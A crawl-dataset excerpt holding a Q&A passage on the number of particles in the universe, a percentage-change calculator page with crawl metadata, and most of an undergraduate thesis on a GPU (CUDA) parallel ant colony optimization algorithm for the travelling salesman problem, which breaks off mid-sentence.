13:41\n\nIf the universe is infinite and is even vaguely homogeneous, the answer is trivially infinite. If the universe is finite, the number is finite, but we have no idea how big. The best we can do is set a lower limit based on the number of particles in the observable universe and the minimum size of the universe based on cosmological observations.\n\n• Thanks Chris - in the case that the universe is infinite, does it follow that the number of particles is COUNTABLY infinite? Or could they be UNCOUNTABLY infinite?\n– Ben\nFeb 20 '18 at 7:06\n• That depends on the topology of the universe, I guess? (Or to put it another way, it depends how infinite the universe is.) If the universe is a Lindelöf space, there should be a countable number. Otherwise uncountable. I have no idea if there is any way to tell that about the universe, though.\n– Chris\nFeb 20 '18 at 7:26\n• I'm inclined to think there would be no way experimentally to tell the difference, though.\n– Chris\nFeb 20 '18 at 7:52\n\nIf we talk of atoms then we can say that it is estimated that the there are between $10^{78}$ to $10^{82}$ atoms as per\n\nhttps://www.universetoday.com/36302/atoms-in-the-universe/amp/\n\nElse we can also state that :-\n\nThe answer to the question depends on what is meant by the universe. The standard cosmological model is that the universe is infinite. The only way the universe could be finite if it has a constant positive curvature, but the current measurement of the curvature implies that the universe is flat and therefore infinite.\n\nHowever, the observable universe is finite. The observable universe is the part of the universe that we can see - and since the universe is only 13.7 billion years old, we can only see photons that reach us in less than 13.7 billion years. Therefore the observable universe is defined as only the parts of the universe that are within 13.7 billion light years of us.\n\nThe commonly accepted answer for the number of particles in the observable universe is $10^{80}$. This number would include the total of the number of protons, neutrons, neutrinos and electrons.\n\nNow most of the photons in our universe are the photons from the cosmic microwave background radiation and it is estimated that there are $10^{9}$ photons for every particle in the universe so that would make $10^{89}$ photons in the universe.\n\nUntil we know what the dark matter particle is, we cannot make an accurate estimate of the number of dark matter particles. We do know that the total mass of the dark matter is about 6 times the mass of the particles in the universe. Currently, the favored theoretical candidate for the dark matter particle is the WIMP - the weakly interacting massive particle. These particles are assumed to be much heavier (x100?) than a proton, so if this is the dark matter particle then it would not significantly increase the number of particles in the universe. On the other hand, if the dark matter particle is the axion, it may be 1/1000th the mass of a proton (or less) so it could push up the particle count by several powers of 10.\n\nWe know even less about the dark energy in the universe, but the leading estimate is that it is \"just\" a small constant vacuum energy density. If the dark energy is just vacuum energy, then that would not increase the particle count for the universe.\n\nSource:-\n\nhttps://www.quora.com/How-many-particles-are-there-in-the-universe"
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https://www.percentagecal.com/answer/what-is-percentage-difference-from-10.11-to-13.61 | [
"What is the percentage increase/decrease\n\n#### Solution for What is the percentage increase/decrease from 10.11 to 13.61:\n\n(13.61-10.11):10.11*100 =\n\n(13.61:10.11-1)*100 =\n\n134.61918892186-100 = 34.61918892186\n\nNow we have: What is the percentage increase/decrease from 10.11 to 13.61 = 34.61918892186\n\nWhat is the percentage increase/decrease\n\n#### Solution for What is the percentage increase/decrease from 13.61 to 10.11:\n\n(10.11-13.61):13.61*100 =\n\n(10.11:13.61-1)*100 =\n\n74.283614988979-100 = -25.716385011021\n\nNow we have: What is the percentage increase/decrease from 13.61 to 10.11 = -25.716385011021\n\nCalculation Samples"
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.876896,"math_prob":0.97373366,"size":1012,"snap":"2023-40-2023-50","text_gpt3_token_len":362,"char_repetition_ratio":0.23313493,"word_repetition_ratio":0.25316456,"special_character_ratio":0.5118577,"punctuation_ratio":0.17948718,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99880224,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-29T00:50:48Z\",\"WARC-Record-ID\":\"<urn:uuid:f1094883-1cd4-4647-a441-88f402c0c8b8>\",\"Content-Length\":\"10339\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0fea95a3-1d82-490f-93b3-97857be8420e>\",\"WARC-Concurrent-To\":\"<urn:uuid:b12a2e66-71e2-4242-87c3-511d66aebf34>\",\"WARC-IP-Address\":\"217.23.5.136\",\"WARC-Target-URI\":\"https://www.percentagecal.com/answer/what-is-percentage-difference-from-10.11-to-13.61\",\"WARC-Payload-Digest\":\"sha1:25ZIGYPUQQB67PNHN4HD7WA24IVBDB7E\",\"WARC-Block-Digest\":\"sha1:JFIRXCZ7YHE7JAP63WC22QG2T4C6AJUL\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233510462.75_warc_CC-MAIN-20230928230810-20230929020810-00093.warc.gz\"}"} |
https://id.scribd.com/document/82803617/A-Parallel-Ant-Colony-Optimization-Algorithm-for-the-Salesman-Problem | [
"Anda di halaman 1dari 74\n\n# A PARALLEL ANT COLONY OPTIMIZATION ALGORITHM FOR THE TRAVELLING SALESMAN PROBLEM: IMPROVING PERFORMANCE USING CUDA\n\nby Octavian Nitica\n\nA thesis submitted to the Faculty of the University of Delaware in partial fulfillment of the requirements for the degree of Honors Bachelor of Science in Computer and Information Science with Distinction.\n\nSpring 2011\n\nA PARALLEL ANT COLONY OPTIMIZATION AGLORITHM FOR TRAVELLING SALESMAN PROBLEM: IMPROVING PERFORMANCE USING CUDA\n\nby Octavian Nitica\n\nApproved:\n\n__________________________________________________________ John Cavazos, Ph.D. Professor in charge of thesis on behalf of the Advisory Committee\n\nApproved:\n\n__________________________________________________________ Louis Rossi, Ph.D. Committee member from the Department of Mathematical Sciences\n\nApproved:\n\n__________________________________________________________ Pak-Wing Fok, Ph.D. Committee member from the Board of Senior Thesis Readers\n\nApproved:\n\n## __________________________________________________________ Michael Arnold, Ph.D. Director of the University Honors Program\n\nACKNOWLEDGMENTS I would like to thank John Cavazos for helping me as an advisor and mentor here at Delaware. Your help has been invaluable to the development of me as a researcher. I would like to thank Scott-Grauer Gray for helping me with CUDA programming and with the development of the multi-GPU portion of the work. I would like to thank the UD PetaApps Cloud Physics group (especially Lou Rossi and Lian-Ping Wang) for funding me the past summer and helping me get started on this research. Finally, I would like to thank my friends and family for their constant support and for making college an unforgettable experience.\n\niii\n\nTABLE OF CONTENTS LIST OF TABLES ........................................................................................................ vii LIST OF FIGURES ..................................................................................................... viii ABSTRACT ................................................................................................................... x CHAPTERS 1 INTRODUCTION ....................................................................................................... 1 2 BACKGROUND AND MOTIVATION ..................................................................... 3 2.1 2.2 2.3 NP-Hard Problems..................................................................................... 3 Search Algorithms ..................................................................................... 5 Travelling Salesman Problem .................................................................... 7 2.3.1 2.4 Nearest Neighbor List .................................................................... 8\n\n## Heuristics ................................................................................................. 10 2.4.1 A Suboptimal Heuristic Solution ................................................ 11\n\n2.5 2.6\n\nMetaheuristics.......................................................................................... 13 Ant Colony Optimization ........................................................................ 14 2.6.1 2.6.2 2.6.3 2.6.4 Termination Condition ................................................................ 15 Construction Stage ...................................................................... 16 Pheromone Update ...................................................................... 17 Daemon Actions .......................................................................... 19\n\niv\n\n2.7\n\n## Parallel ACO ........................................................................................... 19\n\n3 GPU COMPUTING .................................................................................................. 22 3.1 3.2 SIMT Model ............................................................................................ 23 GPU Memory .......................................................................................... 25 3.2.1 3.3 3.4 Memory Transfer ......................................................................... 28\n\n## Synchronization Issues ............................................................................ 28 CUDA for Evolutionary Computing ....................................................... 29\n\n4 INITIAL IMPLEMENTATION ................................................................................ 30 4.1 4.2 4.3 Analyzing the Original Code ................................................................... 30 TSPLIB .................................................................................................... 31 Issues in GPU Programming ................................................................... 32 4.3.1 4.3.2 4.3.3 4.4 4.5 4.6 4.7 4.8 Memory Coalescing..................................................................... 32 Thread Divergence ...................................................................... 33 Random Number Generation ....................................................... 34\n\nAbstraction of Implementation ................................................................ 35 Platform ................................................................................................... 36 Experiments and Results ......................................................................... 36 Asymmetric TSP Results ......................................................................... 38 Analysis of Results .................................................................................. 40\n\n## Pheromone Updating ............................................................................... 43 Second Implementation Results .............................................................. 44 Solution Quality....................................................................................... 45\n\n6 MULTI-GPU IMPLEMENTATION ......................................................................... 48 6.1 6.2 6.3 Threading ................................................................................................. 49 Multi-GPU Results .................................................................................. 50 Improving the Multi-GPU Implementation ............................................. 52\n\n7 RELATED AND FUTURE WORK.......................................................................... 54 7.1 7.2 Related Work ........................................................................................... 54 Future Work............................................................................................. 55 7.2.1 ACO Instruction Scheduling ....................................................... 56\n\n## 8 CONCLUSION.......................................................................................................... 58 BIBLIOGRAPHY ......................................................................................................... 59\n\nvi\n\nLIST OF TABLES Table 1: A table showing the max and average RPD results for the second implementation on different problem sizes. ............................................ 46 Table 2: Shows the RPD for the multi-GPU implementation on a trial run of different problems.................................................................................... 52\n\nvii\n\nLIST OF FIGURES Figure 1: An example of a weighted graph. ................................................................. 11 Figure 2: A step-through of a greedy algorithm on the graph. ..................................... 12 Figure 3: An example of coalesced versus uncoalesced memory access. .................... 27 Figure 4: Shows how the memory from a structure may be mapped into a single array for use on a GPU. .......................................................................... 33 Figure 5: Pseudo-code of the algorithm when running the construction stage on the GPU. ................................................................................................. 35 Figure 6: Speedup gained from running the initial implementation over the sequential algorithm on different problem sizes. Each graph represents a different number of ants. .................................................... 38 Figure 7: Speedup gained from running the initial implementation over the sequential algorithm on asymmetric problems. Each graph represents a different number of ants. .................................................... 39 Figure 8: Speedup gained from the second implementation over the sequential implementation. Each graph represents a different number of ants. ...... 45\n\nviii\n\nFigure 9: A graph showing the number of iterations per a minute the multi-GPU version runs at for different number of GPUs. ....................................... 51\n\nix\n\nABSTRACT\n\nThe ant colony optimization (ACO) algorithm is a metaheuristic algorithm used for combinatorial optimization problems. It is a good choice for many hard combinatorial problems because it is more efficient that brute force methods and produces better solutions than greedy algorithms. However, ACO is computationally expensive, and it can still take a long time to compute a solution on large problem sets. Fortunately, the structure of the ACO algorithm is amenable to being parallelized. By using CUDA to implement an ACO algorithm, I achieved significant improvement in performance over a highly-tuned sequential CPU implementation. I propose several different ways to improve the performance of the ACO algorithm using GPUs, including a multi-GPU approach. I ran the CUDA-parallelized ACO algorithm on the travelling salesman problem (TSP) problem and compared our performance to a highly-tuned sequential CPU implementation.\n\nChapter 1 INTRODUCTION The main topic of this thesis is to improve the performance of the ACO algorithm using Graphics Processing Units (GPUs). I use the CUDA platform to program Nvidia GPUs to achieve this goal, and my work involves applying ACO to the Travelling Salesman Problem (TSP). The main contribution of this thesis is a faster ACO implementation for the TSP and a framework for future improvement on this problem. In another aspect of this thesis, I explore many issues with porting such an algorithm to a GPU. It is also my goal to show that ACO algorithms are amenable to being run in parallel on GPU architectures. The second chapter deals with background to the algorithm and the problem it applies to, and why such research might be relevant. Next, the third chapter deals with GPU computing and explains programming with CUDA. I use the well known ACOTSP package as a baseline to compare against, and I also port several stages of this package to run on the GPU. The fourth chapter explains my first implementation of the work, where I port the construction stage of the algorithm in the ACOTSP package. My second implementation is detailed in the fifth chapter, where I port all the stages of the ACO algorithm to the GPU. The sixth chapter covers my work in\n\napplying a multi-GPU approach, where the algorithm runs on several GPUs at once to further improve execution time. The seventh chapter analyzes some related work and outlines an option for future work by applying the ACO algorithm to instruction scheduling. Finally, the thesis ends with a chapter containing my conclusions.\n\nChapter 2 BACKGROUND AND MOTIVATION In this thesis a parallel ant colony optimization algorithm is applied to the Travelling Salesman Problem. This section highlights the reason behind why such an implementation is beneficial. It discusses the difficulty of solving NP-Hard problems such as the Travelling Salesman Problem. It also covers the reasoning behind search algorithms such as the ant colony algorithm and why such an algorithm might be applied. Finally, it brings up why such an algorithm might benefit from execution on parallel platforms such as GPUs. 2.1 NP-Hard Problems\n\nComplexity classes can be thought of as problems that are relatively the same difficulty to solve in terms of resources. In this thesis, the term is used exclusively in regards to computation (or clock cycles used). The ACO algorithm was developed to solve problems belonging to the complexity class known as NP-Hard. Problems belonging to this class are often not possible to solve with brute force calculation due to the scaling of computation in regards to input. A notation called Big O is commonly used to represent algorithm complexity. A simple way to look at Big O notation is it is a representation of the approximate running time of an algorithm with respect to its input. Big O notation does not deal with absolute notions, but a Big O running time\n\ndenotes the upper bound of computation ignoring constants. In other words, Big O denotes the worst-case running time with respect to some input. Since Big O is relative to the input, it uses the input size as part of the notation. Let n denote the size of input given to an algorithm. An algorithm of O(n) complexity has linear complexity. This means the algorithm runs approximately c computations for every input element where c is a constant. An example of this would be an algorithm to sum all the elements in an array. Every extra element x adds one more iteration the algorithm would have to run to add x to the total. In this case the algorithm has a c value of 1. Now an algorithm of complexity O(nm), where m is a constant and m > 1, has polynomial time complexity. These types of algorithms perform at worst-case cnm iterations to solve a problem for an input size of n, where c and m are constants. A problem belonging to the NP complexity class means that a solution to the problem can be verified to be correct in polynomial time. NP-Hard problems are at least as hard as problems belonging to the NP complexity class. While solutions in this complexity class may be checked fairly rapidly, they may have much larger computational requirements for generating all the solutions of a problem. If all the solutions to a problem are not generated, it may be impossible to guarantee the best solution has been found. A solution with the best candidate solution value to a problem is often referred to as the optimal solution. A problem may have more than one optimal solution. Take for example when finding the shortest path between two\n\nvertices in a graph: there may be two different routes that have the same lowest cost value. Many algorithms have been developed to compute good, yet not optimal, solutions to NP-Hard problems in a reasonable amount of time. For more information on algorithm complexity, please refer to the following book, Introduction to Algorithms (pgs. 41-61, 966-986).\n\n2.2\n\nSearch Algorithms\n\nThe type of algorithm used in this paper to find a good solution is called a search algorithm. A search algorithm tries to find an object with specified properties among a collection of objects. The set of all candidate solutions to a problem that a search algorithm tries to solve is called the search space. I give a more formal definition here. Let D = {d1, d2, ..., dn} be a set of data elements. Then let S = {s1, s2, ..., sm} define the search space, where every element sm is a subset of D related by some mathematical formula or procedure. A search algorithm constructs objects in the search space (also called candidate solutions) from the data and then finds the object sbest which has the best value. The method that solutions are better than others is problem specific. The basic idea is to enumerate a value for every candidate solution so that it is comparable to other solutions. Once solutions are comparable, it is a straightforward to choose the best one.\nAnother important thing to note about search algorithms is that the search space is often represented as a graph. Taking our definition of grouping you can think of each data element\n\nas a node in the graph. The mathematical relation between the nodes represents the edges in the graph. Then a valid path through the graph is a candidate solution to the problem. The properties of the graph are dependent on the problem the search algorithm is attempting to solve. Looking at search spaces this way also helps in developing search algorithms. Also, for many problems, it may not even be known how many data elements are in a solution. Therefore trying to generate solutions with a holistic approach is difficult. The graph visualization makes an iterative approach intuitive with the idea of expanding the graph. An algorithm starts at an arbitrary data element. It then finds all the possible nodes (called available nodes) that it can use as the next element in a candidate solution at that step. Then it selects one element from the set of available nodes and repeats the process until a solution is constructed. For a more detailed example of expanding graphs, please refer to Chapter 3 of Artificial Intelligence: A Modern Approach .\n\nA basic type of search algorithm is an uninformed search. This type of search finds a solution with little to no information. An exhaustive search, which is an uninformed search, simply enumerates every candidate solution iteratively and then selects the best one (also known as a brute force approach). Since an exhaustive search checks every candidate solution to a problem, it is guaranteed to find the best solution. However, a search space can be too large to compute all the solutions in a reasonable amount of time. This leads to the idea of reducing the search space with smarter algorithms. By reducing the search space in intelligent ways, someone can still get a good solution while being able to solve the problem within a feasible time frame. This is the benefit behind using heuristic and metaheuristic functions.\n\n2.3\n\n## Travelling Salesman Problem\n\nA classic example of a computer science problem is the Travelling Salesman Problem (TSP). The problem is to find the shortest possible cycle through a graph of cities that visits each city exactly once. Let G = (V,E) be a graph where V is a set of vertices and E is a set of edges. Then, the travelling salesman problem can be represented as G, where every element v1, v2, .., vn belonging to V represents a city in the problem and every element e1, e2, ..., en belonging to E represents an edge between two of the cities. The graph has several properties. For example, it is weighted. This means that every edge belonging to E has some value x, that makes it comparable to other edges (in this case, the value is an integer denoting physical distance between the cities). Because it is weighted, the total distance of a cycle can be computed by summing all of the edges in a candidate solution. Also, this means a solution can be checked if it is the shortest cycle in linear time by comparing the computed solution cycle value against the shortest cycle value. The graph is also strongly-connected. That means for every two vertices vx and vy belonging to V, there exists and edge exy belonging to E. Thus, you can get to any city from any other city in the problem. Another interesting property of the graph is the symmetry of the edges. A TSP can be symmetric, which means the edges are undirected. Let A (vA) and B (vB) be two cities in the problem. Then if the problem is symmetric, the distance to get from A to B (eAB) is the same as the distance from B to A (eBA). However, a TSP can also be asymmetric, in which the edges are directed. This\n\nmeans the value of the edge from city A to city B differs from the value of the edge from B to A. The TSP falls into the category of NP-Hard problems. As said before, a cycle can be checked if it is the shortest cycle in linear time given a solution path and the shortest path value. However, there are an extremely large number of possible cycles since the graph is strongly-connected. In fact, given the number of cities in the problem as n, there are exactly n! candidate solution cycles! Thus, every single cycle would have to be checked to guarantee finding the optimal solution. A basic brute force algorithm would have complexity O(n!), which means that for an input of just 100 cities you would need to check ~10158 cycles. Even with dynamic programming, where similar segments of cycles are stored in memory and are not recalculated for every path, you would have a complexity of O(cn). This makes the problem infeasible to solve with a brute force search. Therefore reducing the search space for TSPs is crucial.\n\n2.3.1\n\n## Nearest Neighbor List\n\nThe nearest neighbor list is a way to reduce computational and possibly memory overhead when computing a tour (or in other words, a cycle through the all the cities) in the TSP instance. The nearest neighbor list is obtained by sorting all the distances from one city to all the other cities in the problem. Then a subset of lowest cost cities, which we can denote by nn, is taken. This number is typically between 15\n\nand 40 . There are several tradeoffs for using the nearest neighbor list. For one, it can reduce the complexity of some of the steps from linear complexity (O(n)) to a constant complexity (O(1)). This is because only the cities in the nearest neighbor list are searched instead of all the cities in the graph. Only if all the nearest neighbors have been chosen must the rest of the graph be searched. This helps reduce computational overhead. The use of a nearest neighbor list can also affect memory overhead. By only storing the costs of the nearest neighbors, and then computing other distances only when necessary, a large amount of memory overhead can be avoided. However, my approach does not use this method because it is concerned with optimal performance. An important note when using a nearest neighbor list is that the solution quality may degrade. Logically, an optimal tour will uses as many lowest cost edges (or the lowest cost edge available) as possible. In fact, many heuristic functions use this assumption as the basis for generating a solution. By taking a subset of lowest cost edges to search, the whole optimal tour or at least a majority of it is usually included in the search space. However, if the nearest neighbor list is too small, it can be impossible to find the optimal tour because it ends up lying outside the search space. Using a neighbor list is a heuristic, and there is no guarantee of optimality if one is used.\n\n2.4\n\nHeuristics\n\nHeuristics are used for informed search, where informed guesses are made to reduce the search space. Let the search space be an arbitrary graph. As defined before, at each step of constructing a candidate solution there exist a set of available nodes. A heuristic function ranks the available nodes using problem specific information. So a heuristic function f(n) takes in an node x off the available node list and gives it an enumerable value. This information can then be used to reduce the search space to one candidate solution. While this solution is often not guaranteed to be optimal, heuristic functions often produce pretty good results. A big factor in how good a heuristic algorithm will be is the quality of the heuristic used and how good the rankings are. A poor heuristic may produce a solution that is far from optimal. One very popular heuristic algorithm is the greedy best-first choice. A greedy algorithm is one that always makes the locally optimal choice. Choosing the heuristically best ranked node from the list of available nodes is called making the locally optimal choice, but it may not lead to the best overall solution to the problem, or making the globally optimal choice. After ranking the available nodes a greedy algorithm always chooses the node with the best ranking. An example of a greedy algorithm would be using the distances between cities in the TSP as a heuristic, and then always choosing the closest city as the next one in the tour. The idea of best-first means that the next node is chosen according to a specific rule. An example rule involves always selecting the node predicted to have the least cost to a solution if\n\n10\n\nchosen. Some best-first searches can involve backtracking and keeping track of past available nodes. A greedy best-first choice combines the two ideas: rank the currently available nodes by a heuristic that predicts the lowest cost to the final solution, and then always make the greedy choice and choose the best ranked node.\n\n2.4.1\n\n## A Suboptimal Heuristic Solution\n\nWe now go through an example where a greedy search may not give the best global optimal solution because of local optima. Figures 1 and 2 on the next page depict an example problem.\n\n11\n\n## Figure 2: A step-through of a greedy algorithm on the graph.\n\nFigure 1 denotes a simple problem graph. The graph above could easily represent a TSP graph, where each node is a city. The best solution is the cycle with the lowest cost. The heuristic used here is unimportant, other than the fact that it gives an enumerable value to each edge. When using a greedy search, the available edge with the lowest possible value is always chosen. Figure 2 steps through the choices the greedy search will make to create a cycle starting from node A. The final cycle created using the greedy search is A->B->D->C->A, with a total value of 13. However, the best cycle starting at A is A->C->B->D->A, with a total value of 12. This highlights a fundamental problem of many heuristic functions, the best choice made at each local node, may not be the best with respect to the global problem.\n\n12\n\n2.5\n\nMetaheuristics Metaheuristics are algorithms that use an underlying heuristic function and try\n\nto improve the solution quality. They attempt to diversify the search space and avoid converging to a poor solution because of local optima. Metaheuristics also iteratively try to improve their solution quality, which means that they do not terminate after just generating one solution. They will generate a number of candidate solutions, evaluate the respective solution qualities, and then use the information gained to improve the quality when generating new candidate solutions. There are many different types of metaheuristics, including but not limited to simulated annealing, particle swarm optimization, genetic algorithms, and ant colony optimization . An important method that many metaheuristic searches use is the idea of stochastic optimization. This means that random variables are used when constructing solutions. This is a common tactic to diversify the search space. By adding randomness when choosing the elements of a solution, local optima can be avoided, and it is more likely a global optimum will be found. This is because the best value determined by the underlying heuristic is not always chosen. The Ant Colony Optimization algorithm is a metaheuristic that uses the idea of stochastic optimization to improve the solution quality.\n\n13\n\n2.6\n\n## Ant Colony Optimization\n\nThe Ant Colony Optimization (ACO) algorithm gets its name from real ants, because it models the way ants search for food. Ants in the real world begin by randomly searching for food. As ants find sources of food, they leave pheromone trails that allow other ants to find the food. Ants are influenced to travel along paths with pheromone trails. Over time, the closest food source will develop a stronger pheromone trail than other food sources. This is because ants can travel to the closest food location and back faster, depositing a stronger pheromone trail than other food sources. Since the trail is stronger, more ants will be influenced to travel along the path, further reinforcing the trail until the majority of ants converge to the trail. This is how ants find the closest food source. Pheromones also evaporate over time, which is important so ants do not continue to go to the same food source after it has disappeared. The ACO algorithm is a metaheuristic that models how real ants find food when generating a solution to a problem. The ACO algorithm works in a similar way. It has two main stages: the construction stage and the pheromone update stage. There is also a daemon actions stage, which allows for statistical observation or adding additional heuristics, but this is not crucial to the algorithm. In the construction stage, individual ants construct a candidate solution to the problem using a probability function. The function uses a heuristic function and the amount of pheromone on the edges to decide which city to choose next. Once all ants have constructed their respective solution, the ants enter the\n\n14\n\nnext stage. In the pheromone update stage, certain solutions (generally the best ones), deposit pheromones on the edges of their solutions. Also, old pheromone trails have their potency decreased during this stage to prevent early convergence to a suboptimal solution. After a certain time period, ants will converge to a near-optimal path through the graph, just like real ants converge onto a food source. The following is pseudo-code give for the ACO algorithm: Function ACO_metaheuristic while(!termination_condition_met) { constructSolutions(); daemonActions(); pheromoneUpdate(); } I will refer to one pass through this loop as an iteration of the ACO algorithm.\n\n2.6.1\n\nTermination Condition\n\nThe termination condition signifies when the algorithm should finish. Since the ACO algorithm attempts to improve on previous iterations, there are many termination conditions that could be applicable. In fact, for all metaheuristics, there is no general termination condition . Therefore, there have been many different termination strategies developed. One possible termination condition is to bound the running time of the algorithm with a time limit, and finish after a certain amount of time has elapsed. Another possible condition is to terminate after a solution has been generated within a percentage deviation from a given optimum value. This approach requires knowledge of the problem before running the ACO algorithm, which may not always\n\n15\n\nbe available. Another possible termination condition involves setting a bound for a maximum number of iterations completed without an improvement in solution quality. If a significant number of iterations complete without improvement to the best solution found, it is likely the algorithm has converged to a solution. All of these are possible termination conditions for algorithms attempting to solve a TSP.\n\n2.6.2\n\nConstruction Stage\n\nIn this stage, each individual ant in the algorithm constructs a candidate solution to the problem. An ant is a problem specific data structure that can generate and retain the data of a completed candidate solution. The number of ants in an ACO algorithm run determines how many candidate solutions are constructed in every iteration. An important feature of the construction stage is that each individual solution can be constructed independantly, which means there is no communication between ants when they generate a solution. Ants are randomly placed at a starting node in the search graph, and then nodes are added to the candidate solution using a stochastic function until a complete tour has been generated. The stochastic function, is controlled by two variables, alpha and beta. Alpha is how heavily the pheromone trails are weighted in choosing the next node. Beta is how strong the orignal heuristic underlying the ACO algorithm is weighted in choosing the next node. For the function to work properly, it requires at least two matrices, one which has the heuristic values between nodes (the heuristic matrix) and one that stores the pheromone values\n\n16\n\nbetween nodes (the pheromone matrix). Now the stochastic function for applying ACO to a TSP can be generated. The heuristic matrix for a TSP stores the distances between cities. An ant k will rank the probability of choosing city y from current city x with the following function:\n\nIn the above function, denotes alpha, N denotes the set of unvisited cities for ant k and is the pheromone matrix. xy can be calculated a priori with the following equation: xy = 1/dxy where dxy signifies the distance between cities x and y. The summation at the bottom sums the remaining probabilites of the non-visited cities. This is done so that the probabilities correspond to a traditional sample space. In other words , where p(y) is the corresponding probability for visiting the\n\ncity. Each ant ranks the remaining cities using this stochastic function, chooses one city by generating a random number between (0,1), and then repeats until all the cities in the TSP have been visited.\n\n2.6.3\n\nPheromone Update\n\nThis stage updates the pheromone matrix using information generated from the construction stage. There are two stages to this stage, evaporation and intensification. In the evaporation stage, every pheromone edge is decremented by some value rho. Rho is always defined between (0,1). So every edge in the pheromone matrix, xy, is\n\n17\n\nmultiplied by rho to decrement its potency. Since early developed trails may be part of poor solutions, the process of evaporation allows these trails to be forgotten over time. The next stage, intensification, lays down new pheromones in a manner determined by the pheromone updating system. There has been much research into how exactly the pheromones should be updated, including differences in tours to use, relative strength of the tours, and general application of pheromone parameters. Some examples of ACO systems include classic AS , MAX-MIN , Elitist , and Rank-Based . We use the MAX-MIN system when developing the pheromone update stage on the GPU. The MAX-MIN system introduces two new parameters, max and min. The parameter max is an upper bound on the amount of pheromone an edge can have. When the pheromone matrix is first created, all the values in the solution space are intialized with value max. This allows for a more complete exploration of the search space, since initially all the edges are equally attractive with respect to their pheromone values. The value of min is a lower bound on the amount of pheromone deposited on an edge. By forcing all edges to keep at least a minimum pheromone value, it keeps all the edges in the search space to help prevent them from not being explored in later iterations. The MAX-MIN algorithm only deposits pheromone on the best tour from each iteration. The value of the pheromones it deposits are quantitively derived from the tours solution quality.\n\n18\n\n2.6.4\n\nDaemon Actions\n\nThe part of the algorithm named daemon actions refers to all functions that are not neccessarily part of the traditional ACO algorithm. This step can occur before or after the pheromone updating stage. Some packages may want to output statistical information on the algorithms performance during each iteration. Some ACO implementations may be used in conjunction with other optimization techniques, such as a local search . They may achieve better results using such techniques. All these types of activities fall under the category of daemon actions. In the implementations, we disable the daemon actions section of the ACOTSP package since it is not critical to the execution of the algorithm.\n\n2.7\n\nParallel ACO\n\nThe Max-Min ant system has complexity O(m*n2) for TSP, where m is the number of ants and n is the number of cities in the problem . This is because the complexity of constructing each tour is approximately O(n2). This must be done m times since a tour must be constructed for every ant. This leads to a complexity of O(m*n2) for the construction stage. All the other functions in the algorithm have smaller computational requirements than the construction stage. Evaluating the values of the tours is complexity O(m*n), since each ant must sum every element in its constructed tour to get the tour length. The pheromone evaporation function is complexity O(n2), since every edge in the pheromone matrix must be updated, and there are n2 edges. The\n\n19\n\npheromone intensification function is a linear time function with complexity O(n), there will be one computation for each edge in the best tour, and the number of edges is equal to the number of cities in the tour. However, all of the other functions are much less than the O(m*n2) complexity of the construction stage, and since Big O is an approximation, they are discarded in the overall complexity. Even though there seems to be a lot of work, all these functions put together are much less computation than a factorial O(n!) number of computations. However, the performance can be improved. Let p denote a number of processors available to run the algorithm in parallel. With perfect scaling among processors a theoretical runtime of O(m/p*n2) can be achieved on each processor, if the work of constructing the tours is split evenly among the processors. Even taking into account the overhead from parallel computing, good results can still be achieved. There have been many different methods of parallelizing ACO algorithms . A set of ants sharing the same pheromone matrix and the same heuristic matrix is a colony. One way to parallelize the code is to split ants in the same colony up among several processors. Some ACO implementations, run multiple colonies with different parameters to diversify the search space even more. Another possibility involves decomposing the TSP domain. With this method, each processor p looks at generating a best path through a subset of cities, and then the segments are joined together into a tour. The theoretical complexity of the construction step on each processor would then be O(m*q2), where q is the cardinality of the largest subset of cities. It is impossible to\n\n20\n\nguarantee that the optimal solution is found with this type of decomposition, since edges are removed, reducing the search space. The hope is that it is still possible to find good solutions much quicker with this type of decomposition. The city distribution and the size of the subsets is a big factor in how effective this method may be. Acan does an external memory approach which manages to get good results. The approach selects segments from already constructed good solutions, and then allows ants to construct the rest of the graph. However, constructing the rest of the graph after a segment is the same as searching a path in a subset of the cities for the TSP.\n\n21\n\nChapter 3 GPU COMPUTING Today, Central Processing Units, or CPUs, cannot handle all the computational requirements of modern day computer graphics. Almost all modern day computers have a Graphics Processing Unit (GPUs). GPUs are designed to have a large number of simple homogenous processors that can run many threads in parallel. This makes them a good choice for certain algorithms that can be phrased in a data-parallel fashion, where a GPU can yield a much higher price/performance than a comparably priced CPU. GPUs are also seen as useful for programs with high arithmetic intensity . That means programs that perform large amounts of arithmetic operations in contrast to memory operations will especially benefit from GPU implementation. Before the Compute Unified Device Architecture , (CUDA) several researchers attempted to do general purpose GPU (GPGPU) programming using programming languages and toolkits that were designed for graphics, such as OpenGL . However, with the advent of CUDA, programming GPUs to take advantage of their power for general-purpose applications has become much easier. This chapter explains development using CUDA and considerations for running on a modern day GPU architecture.\n\n22\n\n3.1\n\nSIMT Model\n\nCUDA programs have special functions, called kernels, that run on the GPU. Kernels are labeled with the __global__ keyword. They are called from the CPU side and are passed in two extra variables, the dimensions of the grid and the dimensions of the block. The grid variable is a one to three dimensional space that specifies the layout of the thread blocks, and the block variable is a one to three dimensional space that specifies the layout of threads within the blocks. For a more detailed account of this, it is recommended to read the NVIDIA CUDA Programming Guide . The variability in dimensions creates a large possibility of possible indexing options for the programmer. CUDA uses a Single Instruction Multiple Thread (SIMT) architecture, which is similar to the classic Single Instruction Multiple Data (SIMD) architecture . The SIMD architecture involves concurrently performing the same arthimetic instructions across an array of data. Typically, this makes it useful for applications that perform many of the same arithmetic calculations on different data, such as graphics processing or particle simulation. SIMT differentiates itself from SIMD for two reasons. One, the programming is done from a different perspective: Instead of programming the entire width of the data, SIMT can program individual threads as well as coordinated threads. Also, when there is a divergence between threads, which means that threads are\n\n23\n\n24\n\nunderstanding of thread execution, it is possible to achieve more on the GPU, such as task parallelism . Guevara et. al., manage to merge two different kernel tasks into one with proper indexing and memory strucuturing. This allowed for even increased performance by taking advantage of the massive amount of thread parallelism available. While it helps to think of CUDA from a SIMD perspective for performance reasons, CUDA maintains a high level of versatility in the types of applications that can be executed on a GPU.\n\n3.2\n\nGPU Memory\n\n25\n\n26\n\nthread. Using too much can limit multiprocessor occupancy, which may increase execution time. Grauer-Gray et. Al conducted a study observing the effects of multiprocessor occupancy and the tradeoffs in such situations. Threads should read memory in a coalesced manner. This means that all threads in a 